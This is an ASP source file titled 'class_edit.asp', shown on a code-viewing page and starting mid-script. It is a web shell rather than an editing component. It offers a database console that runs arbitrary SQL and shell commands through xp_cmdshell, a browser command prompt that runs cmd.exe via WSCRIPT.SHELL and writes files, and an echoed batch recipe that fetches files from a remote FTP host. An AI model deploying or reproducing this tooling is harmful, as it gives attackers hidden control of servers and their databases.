📄 class_edit.asp
字号:
echo "<div style=position:absolute;width:100%;Left:10px;Top:150px;><form method=post>"&bbf
echo " <input type=hidden name=pass value=islogin><br>"&bbf
echo " host:<input type=text name=host value="&sahost&"><br>"&bbf
echo " user:<input type=text name=user value="&sauser&"><br>"&bbf
echo " pass:<input type=text name=upass value="&sapass&"><br>"&bbf
echo " dbase<input type=text name=database value="&request("database")&"><br>"&bbf
echo " <input type=submit></form></div>"
response.end
end if
end if
function echo(lpstr):response.write lpstr:end function
Function GetTableFromSQL(Byval SQL)
Dim charPos, charLen, wordlist
SQL = LCase(SQL)
charPo1 = InStr(1, SQL, " from ")
if charPo1<1 then charPo1 = InStr(1, SQL, " into ")
if charPo1<1 then charPo1 = InStr(1, SQL, "update")
if charPo1>0 then
charPo2 = InStr(charPo1+7, SQL, " ")
If charPo2 > 0 Then
SQL = Mid(SQL, charPo1+6, charPo2)
Else
SQL = Mid(SQL, charPo1+6)
End If
If Left(SQL, 1) = "[" Then SQL = Mid(SQL, 2)
If Right(SQL, 1) = "]" Then SQL = Left(SQL, Len(SQL) - 1)
GetTableFromSQL = SQL
end if
End Function
dsnname = "data source="&request("host")&";"
dsnusername = "user id="&request("user")&";"
if request("upass")<>"" then dsnpassword = "password="&request("upass")&";"
if request("database")<>"" then session("schoolname")=request("database"):response.redirect self&"?c=1"
if session("schoolname")="" then session("schoolname")= "master"
set adoconn = server.createobject("adodb.connection")
if request("host")<>"" then
if mid(lcase(request("host")),2,1)=":" then
connectionstring="DRIVER={Microsoft Access Driver (*.mdb)};DBQ="&_
request("host")&";pwd="&request("upass")
echo connectionstring
session("IsMDB")=1
session("dbo")=""
session("dsnname")=request("host")
else
session("dsnname")=dsnname
connectionstring = "provider=sqloledb.1;"&dsnname&dsnusername&dsnpassword
session("IsMDB")=0
session("dbo")="[dbo]."
end if
session("connectionstring")=connectionstring
session("only_top_20")="top 20"
end if
echo session("dsnname")&"<br>"
adoconn.open session("connectionstring")
adoconn.cursorlocation=3
if session("IsMDB")=0 then adoconn.execute("use "&session("schoolname"))
command=request("c")
sqlstr=request.form("sqlstr")
table=request("table")
if table="" then table=GetTableFromSQL(sqlstr)
if len(sqlstr)>0 then
if left(sqlstr,5)="edit " then sprocedure(mid(sqlstr,6)):sqlstr=""
if left(sqlstr,4)="all " then run_ml(mid(sqlstr,5)):sqlstr=""
runsqls=split(sqlstr,bbf)
for k=0 to ubound(runsqls)
if request("ppp")="rundos" then
runsqls(k)="exec master.dbo.xp_cmdshell '"&runsqls(k)&"'"
end if
echo runsqls(k)&"----"&"<br>"
if len(runsqls(k))>0 then
set rs=adoconn.execute(runsqls(k))
if request("sc")<>"n" then
if request("ppp")<>"rundos" then
showsss rs
else
for oi=1 to rs.recordcount
reword=srs(rs(0).value)
if reword<>"" then
reword=replace(reword,"<",chr(38)&"lt")
reword=replace(reword," ","  ")
echo reword&"<br>"&bbf
end if
rs.movenext
next
end if
end if
end if
next
end if
if command=1 then
if session("IsMDB")=1 then
Set ADOX = Server.CreateObject("ADOX.Catalog")
ADOX.ActiveConnection = adoconn
For Each tb in ADOX.Tables
If tb.Type = "TABLE" Then
echo " <a href="&self&"?c=2&table="&tb.Name&">"&bbf
echo " "&tb.Name &"</a><br>"&bbf
echo " "
End If
Next
response.end
else
sql="select name from sysobjects where "&_
"objectproperty(object_id(name),'istable')=1"&session("only_user_table")
set rs=adoconn.execute(sql)
for iz=1 to rs.recordcount
echo "<a href="&self&"?c=2&table="&rs(0).value&_
">"&rs(0).value&"</a><br>"
rs.movenext
next
end if
end if
if command=2 then
if table<>"" then
set rs=adoconn.execute("select "&session("only_top_20")&" * from "&session("dbo")&table)
showsss rs
echo "</table>"
echo "<script>"&scripts&"</script>"&insert
end if
end if
if command=3 then
set rs=adoconn.execute("select name,filename from master..sysdatabases")
echo "<table>"
for dd=1 to rs.recordcount
echo "<tr><td><a href="&self&"?database="&rs(0).value&">"&rs(0).value&"</a></td><td>"&rs(1).value&"</td></tr>"
rs.movenext
next
echo "</table>"
end if
if command=100 then session("only_user_table")=" and xtype='u'"::response.redirect self&"?c=1"
if command=101 then session("only_user_table")="":response.redirect self&"?c=1"
if command=102 then session("only_top_20")="top 20"
if command=103 then session("only_top_20")=""
set adoconn=nothing
function showsss(lprs)
on error resume next
countrs=lprs.fields.count
echo "["&table&"]共"&countrs&"个列名,有"&lprs.recordcount&"条记录"
response.flush
echo "<table border=1 bordercolorlight=#000000 cellspacing=0 cellpadding=0 bordercolordark=#ffffff>"
echo "<tr><td> </td>"
for lzi=1 to countrs
echo "<td>"&lprs(lzi-1).name&"</td>"
if lzi>1 then
if lzi<>countrs then
ins1=ins1&lprs(lzi-1).name&","
if session("IsMDB")=1 then
ins2=ins2&"'0',"
else
ins2=ins2&"/*"&lprs(lzi-1).name&"*/'0',"
end if
else
ins1=ins1&lprs(lzi-1).name
if session("IsMDB")=1 then
ins2=ins2&"'0'"
else
ins2=ins2&"/*"&lprs(lzi-1).name&"*/'0'"
end if
end if
end if
next
echo "</tr>"
echo "<script>function ins(){document.all.sqlstr.value="&chr(34)&"insert into "&_
session("dbo")&table&_
"("&ins1&")values("&ins2&")"&chr(34)&";}</script>"
echo "<script>function sel(){document.all.sqlstr.value="&chr(34)&"select * from "&session("dbo")&table&_
chr(34)&";document.all.ppp.value='runsql';document.all.form1.submit();}</script>"
echo "<script>function del(){document.all.sqlstr.value='delete from "&session("dbo")&table&" where [id]=99999';}</script>"
echo "<script>function drop(){document.all.sqlstr.value='drop table "&session("dbo")&table&"';}</script>"
if lprs.recordcount<1 then exit function
for dd=1 to lprs.recordcount
lpitem= "<tr><td>"&dd&"</td>"
update="tt"&dd&"="&chr(34)&"update "&session("dbo")&table&" set "
for lzj=1 to countrs
if lzj=1 then where=" where ["&lprs(lzj-1).name&"]="&srs(lprs(lzj-1).value)
vtype=lprs(lzj-1).type
if vtype<>204 and vtype<>128 and vtype<>205 then
ivalue=srs(lprs(lzj-1).value)
ivalue=trim(ivalue)
ivalue=replace(ivalue,"<","<")
ivalue=replace(ivalue," ","  ")
svalue=replace(srs(lprs(lzj-1).value),"\","\\")
svalue=replace(svalue,chr(34),"\"&chr(34))
svalue=replace(svalue,chr(39),"\'\'")
svalue=replace(svalue,"<",chr(34)&"+'<'+"&chr(34))
if lzj>1 then
update=update&"["&lprs(lzj-1).name&"]='"&svalue&"', "
end if
lpitem=lpitem&"<td>" '&ivalue
lpitem=lpitem&ivalue&" </td>"
else
lpitem=lpitem&"<td>{?}</td>"
end if
next
lpitem=lpitem&"</tr>"
update=left(update,len(update)-2)
update=replace(update,chr(13)&chr(10),"\n")
update=replace(update,chr(13),"\n")
update=replace(update,chr(10),"\n")
update=update&where&chr(34)&";"&chr(13)&chr(10)
scripts=scripts&update
echo "<a ondblclick=javascript:copys(tt"&dd&");>"&lpitem&"</a>"
lprs.movenext
next
echo "</table>"
echo "<script>"&scripts&"</script>"&insert
end function
function sprocedure(lpstr)
sql="SELECT text FROM syscomments WHERE id = OBJECT_ID('"&lpstr&"') ORDER BY colid" 'colid
set rs=adoconn.execute(sql)
on error resume next
if rs.recordcount<1 then exit function
for dd=1 to rs.recordcount
procstr=procstr&rs(0).value
rs.movenext
next
echo "---------------(+)<br>"&replace(replace(server.htmlencode(procstr),bbf,"<br>")," ","  ")&"<br>---------------(-)<br>"
end function
function run_ml(lpstr)
set rs=adoconn.execute(lpstr)
showsss rs
end function
echo "<br>"&bbf
echo "alter table TableName alter column ColName varchar(300) null<br>"&bbf
echo "@rem 用法sftp ip user pass file<br>"&bbf
echo "echo echo open ^%1^>ftp.bin>sftp.bat<br>"&bbf
echo "echo echo ^%2^>^>ftp.bin>>sftp.bat<br>"&bbf
echo "echo echo ^%3^>^>ftp.bin>>sftp.bat<br>"&bbf
echo "echo echo cd soft^>^>ftp.bin>>sftp.bat<br>"&bbf
echo "echo echo get ^%4^>^>ftp.bin>>sftp.bat<br>"&bbf
echo "echo echo quit^>^>ftp.bin>>sftp.bat<br>"&bbf
echo "echo ftp -s:ftp.bin>>sftp.bat<br>"&bbf
echo "echo del ftp.bin /f>>sftp.bat<br>"&bbf
echo "</body>"
end if
if Session("gl")="cmd" then
echo "<script>function replace(aa,bb,cc){var lpabc,lpi;for(lpi=0;lpi<1000;lpi++){lpabc=aa;aa=aa.replace(bb,cc);if(lpabc==aa)return aa;}return aa;}</script>"&bbf
'on error resume next
server.scripttimeout=99999999
function echo(lpstr):response.write lpstr:end function
function rq(lpstr):rq=request(lpstr):end function
bbf=chr(13)&chr(10):y=chr(34):self=Request("URL")
echo "<style>"&bbf
echo "input,textarea{color:#ffffff;border: 1 solid #000000;background-color:#000000;border-bottom: 1 solid #111111;}"&bbf
echo "body,input{font-family:新宋体;color:#bbbbbb;font-size:14px;}"&bbf
echo "</style>"&bbf
echo "<body bgcolor=black onload=document.all.CMDS.focus(); ondblclick=document.all.CMDS.focus(); onmouseup=document.all.CMDS.focus();>"&bbf
if not isobject(wsl) then set wsl=server.createobject("WSCRIPT.SHELL")
if err.number<>0 then echo err.number
szCMD =lcase(Request("fp1"))
if session("cmddrv")="" then session("cmddrv")="c:":session("cmdpath")="\"
yx=request("yx")
if left(szCMD,5)="save " then
cmdsave mid(szCMD,6),request("cmdd")
szCMD=""
end if
If (szCMD <> "") Then
szTempFile =server.mappath(".")&"\"&tfile
if len(szCMD)=2 and right(szCMD,1)=":" then session("cmddrv")=szCMD:session("cmdpath")="\"
if szCMD="cd\" or szCMD="cd \" then session("cmdpath")="\"
if szCMD="cd.." or szCMD="cd .." then
lps=split(session("cmdpath"),"\"):session("cmdpath")="\"
for i=1 to ubound(lps)-2
if lps(i)<>"" then session("cmdpath")=session("cmdpath")&lps(i)&"\"
next
end if
if left(szCMD,3)="cd " and szCMD<>"cd .." and szCMD<>"cd ." then
rdir=mid(szCMD,4):if right(rdir,1)<>"\" then rdir=rdir&"\"
session("cmdpath")=session("cmdpath")&rdir
if mid(rdir,2,1)=":" then
session("cmdpath")=mid(rdir,3)
session("cmddrv")=left(rdir,2)
end if
end if
session("cmdpath")=replace(session("cmdpath"),"/","\")
if session("cmdpath")<>"" then szCMD="cd "&session("cmdpath")&" & "&szCMD
szCMD=session("cmddrv")&" & "&szCMD
if yx<>"on" then
words=wsl.exec("cmd.exe /c "&szCMD).stdout.readall
else
words=wsl.exec(zCMD).stdout.readall
end if
End If
echo "<FORM action="""&Request("SCRIPT_NAME")&""" style=width:1500; method=""POST"" onsubmit=if(document.all.fp1.value.substring(0,4)!='save')document.all.cmdd.value='';document.all.cmdd.value=replace(document.all.cmdd.value,'<_/textarea','</textarea');>"&bbf
echo "<input type=""checkbox"" name=""yx"" value=""on"" onclick=CMDS.focus();>不用cmd解释"&bbf
echo "<a href=javascript:document.execCommand('ReFresh')>刷新</a><br>"&bbf
curcmdpath=session("cmddrv")&session("cmdpath")
echo curcmdpath
echo "<input type=text id=CMDS name=""fp1"" size=80><br>"&bbf
hfile="http://"&request("HTTP_HOST")&gp(request("URL"))&tfile
echo hfile
echo "<br>"&bbf
echo "<textarea rows=300 cols=106 name=cmdd>"
echo words
echo "</textarea></form>"&bbf
function gp(url)
gp=url
while right(gp,1)<>"/"
gp=left(gp,len(gp)-1)
wend
end function
function GetHttp(url)
Set xmlhttp = CreateObject("Msxml2.ServerXMLHTTP")
With xmlhttp
.Open "GET",url,false
.Send
GetHttp=.responseBody
End With
end function
function cmdsave(fname,cmd)
if cmd="" then exit function
line=split(cmd,bbf)
lpfile =session("cmddrv")&session("cmdpath")&fname
echo lpfile
e =server.mappath(".")&"\e"
for i=0 to Ubound(line)
p=replace(line(i),"^","^^")
'if left(p,1)=" " then p=":"&mid(p,2)
'if left(p,1)=chr(9) then p=":"&mid(p,2)
p=replace(p,"&","^&")
p=replace(p,"""","^""")
p=replace(p,"<","^<")
p=replace(p,">","^>")
pchar=right(p,1)
if pchar>="0" and pchar<="9" then p=left(p,len(p)-1)&"^"&pchar
'p=replace(p,chr(9)," ")
if replace(replace(p," ",""),chr(9),"")="" then p=""
if i=0 and p="" then wsl.Run "cmd.exe /c type "&e&">"&lpfile,0,True
if i>0 and p="" then wsl.Run "cmd.exe /c type "&e&">>"&lpfile,0,True
if i=0 and p<>"" then wsl.Run "cmd.exe /c echo "&p&">"&lpfile,0,True
if i>0 and p<>"" then wsl.Run "cmd.exe /c echo "&p&">>"&lpfile,0,True
next
end function
Function BtoS(Binstr)
skipflag=0
strC=""
If Not IsNull(binstr) Then
lnglen=LenB(binstr)
For ix=1 To lnglen
If skipflag=0 Then
tmpBin=MidB(binstr,ix,1)
If AscB(tmpBin)>127 Then
strC=strC&Chr(AscW(MidB(binstr,ix+1,1)&tmpBin))
skipflag=1
Else
strC=strC&Chr(AscB(tmpBin))
End If
Else
skipflag=0
End If
Next
End If
BtoS = strC
End Function
end if
%>
</body>
</html>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -